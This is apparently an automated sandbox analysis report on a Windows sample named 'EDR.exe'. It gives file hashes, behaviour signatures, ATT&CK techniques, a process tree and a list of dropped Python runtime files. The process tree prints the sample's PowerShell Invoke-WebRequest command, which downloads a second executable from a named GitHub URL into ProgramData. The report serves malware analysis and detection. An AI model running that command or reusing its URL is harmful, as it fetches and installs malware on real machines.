be63f8adae928909d3eb229d695098e8a93ff3919e71fedfb10705c73ef8f37a

Analysis

max time kernel
29s
max time network
28s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
20/08/2026, 02:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
EDR.exe
Size 8.5MB
Sample260820-dff7kaydph
SHA256 be63f8adae928909d3eb229d695098e8a93ff3919e71fedfb10705c73ef8f37a
MD5 a20cfa33f5a8685019fb85bc10819b21
SHA1 8ee482fe75e3ced789878d0735d7d114beecbe93
SHA512 75ae085c3971950e213c0f3c0638ed9075318d16d018fab1a6231a878b6d06656caa797532280dac55c0845c24f955b2d9cb8ce07f190a13e7174268af95d2c9
SSDEEP 196608:4Ad3wLwUmXEpXnH2ph1igt1/1QpL0uQg+R6tKsvoKgpVFSZ:48EwUmXEAphJtrQSg+RKKsvFgtS
TLSH
T1CA963368A3D119FAF8F3413D9DA1D401E6F2B8511BA2D2FB17B04A190E377E04D78BA5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3420	powershell.exe
3	3420	powershell.exe
4	3420	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3420	powershell.exe

Loads dropped DLL 5 IoCs

pid	Process
492	EDR.exe
492	EDR.exe
492	EDR.exe
492	EDR.exe
492	EDR.exe

Contacts third-party web service commonly abused for C2 1 TTPs 1 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2684	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
492	EDR.exe
492	EDR.exe
3420	powershell.exe
3420	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3420	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3640 wrote to memory of 492	3640	EDR.exe	80
PID 492 wrote to memory of 2684	492	EDR.exe	81
PID 2684 wrote to memory of 3420	2684	cmd.exe	83

C:\Users\Admin\AppData\Local\Temp\EDR.exe
"C:\Users\Admin\AppData\Local\Temp\EDR.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3640
- C:\Users\Admin\AppData\Local\Temp\EDR.exe
  "C:\Users\Admin\AppData\Local\Temp\EDR.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:492
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c C:\Users\Admin\AppData\Local\Temp\batwrap_zdfu1zu5\script.bat
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2684
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ndoug2081-stack/ndoug2081-stack/raw/refs/heads/main/edr.exe' -OutFile 'C:\ProgramData\edr.exe'"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3420

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000e382\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000e382\_bz2.pyd
Size 85KB
SHA256 d28c3dd1c22bfb8a6e8a6a9c2359842b797d08e878ecb7805f60e86a45589d11
MD5 207d4a4b7a113ef494514918f2dccdf3
SHA1 74b59453b5bb6194e0d2587d26d499d0f7e1aed5
SHA512 f7e5a2608ee19fd400d4bfe27e8603289a219af6a4a4a9e65ebb76c715d926fb9b08293fc2a3fed2195784804764265fa0b356547f23c501ec8ff9487c948b27
SSDEEP 1536:xtMtz7eksNCb6YVVEFxO2RqOyuzotWw8pRbIiQIG3VTy1Ni9QfIY6utw:PMtzSqurjOqqfgotWrplIiQIG3VtKtw
TLSH
T14A837E86B3B462B6F59B81B496910353F730FF960710A3BFB25482863F13B91AF58365
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000e382\_decimal.pyd
Size 283KB
SHA256 8d41a84db20a9b985e98c802ad6833cf9625c744ad35478dd346f54f81488706
MD5 4bebc4da7d6319283a8c664bfc55408e
SHA1 4dc69a8105272711673afa5f712af982a18532e1
SHA512 411cd0ee4189654e836579efb4df509a02cba39cd9793e6d7250aa4e239449dafb6936ac57cb8ee7bd97cf2fb178beea17f658bf6ae7149ed8ed927a7c47bdf3
SSDEEP 6144:ASM9SUWXvOOiSx1u8llV6zeGqqM43fIWeA9O8O8OOT6MPgz/:ASM9SUWfQSx1ucapLIz/
TLSH
T1D5547C52A3490CA4EF7384388A479A57F7B2B8414360D78F47A48A972F933E3677E744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000e382\_hashlib.pyd
Size 67KB
SHA256 36ce760b9fac53fe51755f30a68d86f5fde89bf1b66c65c19e04aa3afa404ac2
MD5 dcf15b3e1858d9324be2c719e4e990c9
SHA1 8311c2fb0bb75342367a83fcca7161a0f7fadafb
SHA512 fa2783d0cbbba477a08bf4f2fa3df21d6d0bf5bd5bc7cef25254a3d29fc7d01229337ad5dd54c2f0e67b956fd43953aa98586240102511ddd48d04c674b7ff93
SSDEEP 1536:KXwAzOYBQca7JKs2+C5oIGDIUy1Ni97BfIkxd8:0J/yJKs2+IoIGDIm6o8
TLSH
T1EF635B8AA6984092DA2382B5C9E34F43F974F252271197DF6678C18E2F233C3573B756
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000e382\_lzma.pyd
Size 157KB
SHA256 5f7003f9f0256e36351ca2810b3485db28579b08e4d1d65f6f211fcd1136f395
MD5 cada2b240b280f172aeb32a1666b21e6
SHA1 c15dc39329444433c255309eb89bae188aae1b22
SHA512 8b12298efd28549d46e2c48cff94b07039cf513bbac25063ebad8bae57b96e07eefd7df82229441af142c1b96dc837dec468263c0873d14da280e3ed6e42eb9e
SSDEEP 3072:BJ66g4T5QW7JfyjEqkSkA51b4pznfJ9mNopUpdbQIGI1HFk:BUR4Tp4QPZ8N4RxYOgbPa
TLSH
T110F34C86B794F0E6F7328C38D2624F57E6F578590320929A01CC976D2B1FB759A2E313
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000e382\_socket.pyd
Size 85KB
SHA256 25ac83cac32ed0d67b2cc9672ce64cb53f0a29a75b14c276e901023ff43da5f9
MD5 7a16a21ad11d3e9829ca3b379a2bb010
SHA1 90707b5c1662a1e4553f1cc10ba96c7452def7c2
SHA512 5e0268af7dad1646903ddb5e61fb38896a7ae964cadb38b5c28bc1524a69a87b7c09f501f3f570ec6bf78c8fa873b8fbe062bbe06cf839e32a2735f1efd0cae1
SSDEEP 1536:hcVuncT0XH3XAJtZypxm7XP+66wSzC/jAjI/Lb6NsQ3cs8PgMr8IGGwby1Ni9DFo:SEny2+jypxm7XPz6wSzC/jAjQOsQssV2
TLSH
T19B835B01A66040FAEB77C176C2639E63FBB4B5C01294A75F1466C55A1F333C2BE3AB85
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ssl.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000e382\_ssl.pyd
Size 186KB
SHA256 5c07572df2913618cfb851b608cb5f74d740fcce5c3f2e63dc0a2ba39ab35dad
MD5 e4ba5a52f5fa2a64baec46486cbdcf82
SHA1 ff213b504a70d50871eb8432cea1b22563364cb4
SHA512 111c926a0157d46c48a26da30face546b065eb4afddb6dcf27442fd4f73432808de43978f78f5b297b22a63d82d0d5bf305701e137f6060f59cbd601012e61fa
SSDEEP 3072:FVpZeIk2MZ7IifVvQto7qrvYLrgp8VuMG4eJ9i1zktdsQ/3Omca45gMqTVBOrQII:Bxk2MZZVvQtmL4457qTVMrQ
TLSH
T1AD147B47B5446EF7D802E8BAC6234543FBB4F045331297DE48D6EA520F03746AE6AB63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_zstd.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000e382\_zstd.pyd
Size 491KB
SHA256 262aea62a994920daf152a10bdc0ca83a8b1c0874e71db23734862431de182c6
MD5 035b0a033dd00dbe887556f4d4b852c3
SHA1 e86cf52d825f9b68177354c54edaa57e962012c3
SHA512 0b428aa10a9e977e07023918870368a9c00e0eb4ab4f7cf1e88950d4aebd2ba5774ebea9f3779d05e370bbe315da6634922834106077d511b710c6131d29dc65
SSDEEP 12288:KccWmYLKvveeFSeX0ro+Q2J5BCl9VNqdp:KccWJKvveeFSeX0roMZdp
TLSH
T143B48D43F29943EDE53BC4B8CF565A13FBB1780B1214965B9395CB993F07B309A6A308
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000e382\base_library.zip
Size 1.3MB
SHA256 fd694d64507f32e4e7fd785f808514fec1cc060c95d82fd4c11572ef3db62069
MD5 dd37885ca6e973189fe3c7244ede2931
SHA1 58dbb504ae7cc224da67d4dcfe69f4c3e46ce8ce
SHA512 302ca58deddc143780f3f1d1734b6d59446a3f9bb325feb75b0fec666ad082b647e70795da6ee03b56e8bf5bf53b1c7293fbfabe648dff7ee01613c5baaba942
SSDEEP 24576:GslbRd7L3Rps4QeOdP2m2df/YIQZmZNuUFrp:Nd/R7/nYI/uUFN
TLSH
T1CF552B91B9917967FEC9F37A35B75A0CA715C0109B20D303B4A88DAC6FDF260AE558CC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libcrypto-3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000e382\libcrypto-3.dll
Size 6.0MB
SHA256 53c529145339fb042a3dcd3a09c2d7753204f8b4fc79d99e0d31e69a33985958
MD5 4191d4288230515c5098cc07f699a604
SHA1 bd8b4d48b2f4513dc378bc5a4cf4a3abbc6998d8
SHA512 c110a89ebb5b58126d556ffea1bf01efb4a6dd295f7387665223741a171d9353315de4d361d3d02a186c1c659aee20f46c579efc51b4c41f7282e1b5b4d6d040
SSDEEP 98304:ybM11p6ZVTRwlFh7V6v73WyXTf0W+JJe1CPwDvt3uFA0CaI:ybM1T6ZlalfV6v7GyXbnEJe1CPwDvt3T
TLSH
T1E6566B5EA7A80188E4BAD13CC6534627D2F1F85A5BB097CF05A196790F33BDA2B3D740
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libssl-3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000e382\libssl-3.dll
Size 1.3MB
SHA256 b17a87979862d19241edc4318f967e24c3ec356ed6c2368f561179fab2311001
MD5 d99207e7e513f87ad7571c4c2450771b
SHA1 b904eb3989c9a1ad77e3a541e40d84ae890e3df7
SHA512 bccd034e633b96c2c7dff6ca96c2bb8a8c0f90a872f256e8467e470ed57fc4b442c74da488b258b5a255feba26767a5c95293a636c94c754e2644ed91c5be7ac
SSDEEP 24576:gk2RrDo2iVOF8hXN1hyeWsoSvSZlRg5aYsC:gRFDo2uOKJ8sIRg5aYsC
TLSH
T11F556D5AA7B8016DD5B6C17CC6938B23D2B2F41623709BEF06658A790F23BD6273D344
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python314.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000e382\python314.dll
Size 6.5MB
SHA256 fde89cdb5c2d08ae65de7ef4abca1876c93ba3796002f5ac0bf7e4d4f5a94da0
MD5 006b0746b5abaf438d1bc753261c6d2c
SHA1 8f34714617f376cfa6e7e2aedc1e2a73de8c8fd8
SHA512 1c156c3f542de0a27e16ca5b7d6bbd34f2059b380ce85dbcfd5ae3a64de473fd160baba45ca30ad85dfe45742fdcb42aa969cbbaab26a569e324d4e65fb6d621
SSDEEP 98304:xVyDBH+ULEfi0VOuZd+FAX/uv3HDMiEEQn0rt:xVyD1+ULW5VrZRxim0rt
TLSH
T136669D26737901A5D9BB8035C9034647DBB1BC00AB30D34B49A4B6DA3F733635BAEB95
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

select.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000e382\select.pyd
Size 32KB
SHA256 fab1b4cee101359d82d72061b83cff1855337b3677b9fe01cd69f7548f4c496e
MD5 43a869da7432298fce80f8c163ad8e7f
SHA1 65d259ba8350561668706a563ee0800c1748c173
SHA512 26c57d276b82fcb9c4f971a8e74847e14dc1a3b942a62f442740d6244ee8f23ba29c9e56b5001c2734db3fd1ac52a6bda02926f47d12cf727e38703971fa9d55
SSDEEP 768:TB7YLZnCaqF8IGRGCy1KPuBL2Ip4pTxf1ml9dHu7L3:TB7C5CaqF8IGRGCy1Ni9bfIbHun3
TLSH
T17FE28CCAAB345047EA63C671C6A2CE83FA39F7E35611469F31B5918A1E237C1A337354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

unicodedata.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000e382\unicodedata.pyd
Size 741KB
SHA256 0d4f124b2d6622d276d777f7106972219f9b310edb5df8149c253da7c013d6d8
MD5 4df357dfce07299b9e6759583f41ca68
SHA1 d5810b7f7d05ac3a37592566ee898f428919cb53
SHA512 f741882d4444a4be4342f89932b2510c57fd943cf782079551c202c419805a90a06203464cdf1a209a8da3e56677426dc9af388b2077a5746b3daf0f2da1f69f
SSDEEP 12288:jIwYBAPtrZmDtBPcH+dEYJ5EYub+z70lDJPT36mwtyqt:jIwYS5ZmDPqO54lDJPTMyqt
TLSH
T11EF4E5F5BB838C16E69B767A48D3210F4E50C2B35F1A8637B2182355D8EB3B44DD582E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_jornmrly.1dw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jornmrly.1dw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

script.bat

Path C:\Users\Admin\AppData\Local\Temp\batwrap_zdfu1zu5\script.bat
Size 272B
SHA256 41389d7bd02528e2c354360a12c9c8bc50686009606a8d6390d2bb158f3c4556
MD5 fd127bb4adeba4e5362eaa657f7b6053
SHA1 47aead63ed0ec64670de7df84ea83d8b0a8b9ff9
SHA512 f85ed6a27412bf4eb1a64481b5bfde809f6cdbc97165e5128f0124e42717265ac9c15a6f7e7db9ca833eed09b3968c05a34b11fd4f53ba08199715073ae0fc97
TLSH
T13AD02B3F5350570CCC5243594D9D946B618FC5C45684EBFF15AD241E9C6896943CF816
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3420-36-0x000001948BE3A000-0x000001948BE3B000-memory.dmp

Download

memory/3420-45-0x000001948B670000-0x000001948C132000-memory.dmp

Download

memory/3420-44-0x000001948B670000-0x000001948C132000-memory.dmp

Download

memory/3420-43-0x000001948C290000-0x000001948C2B2000-memory.dmp

Download

memory/3420-46-0x000001948B670000-0x000001948C132000-memory.dmp

Download

memory/3420-47-0x000001948B670000-0x000001948C132000-memory.dmp

Download

memory/3420-50-0x000001948B670000-0x000001948C132000-memory.dmp

Download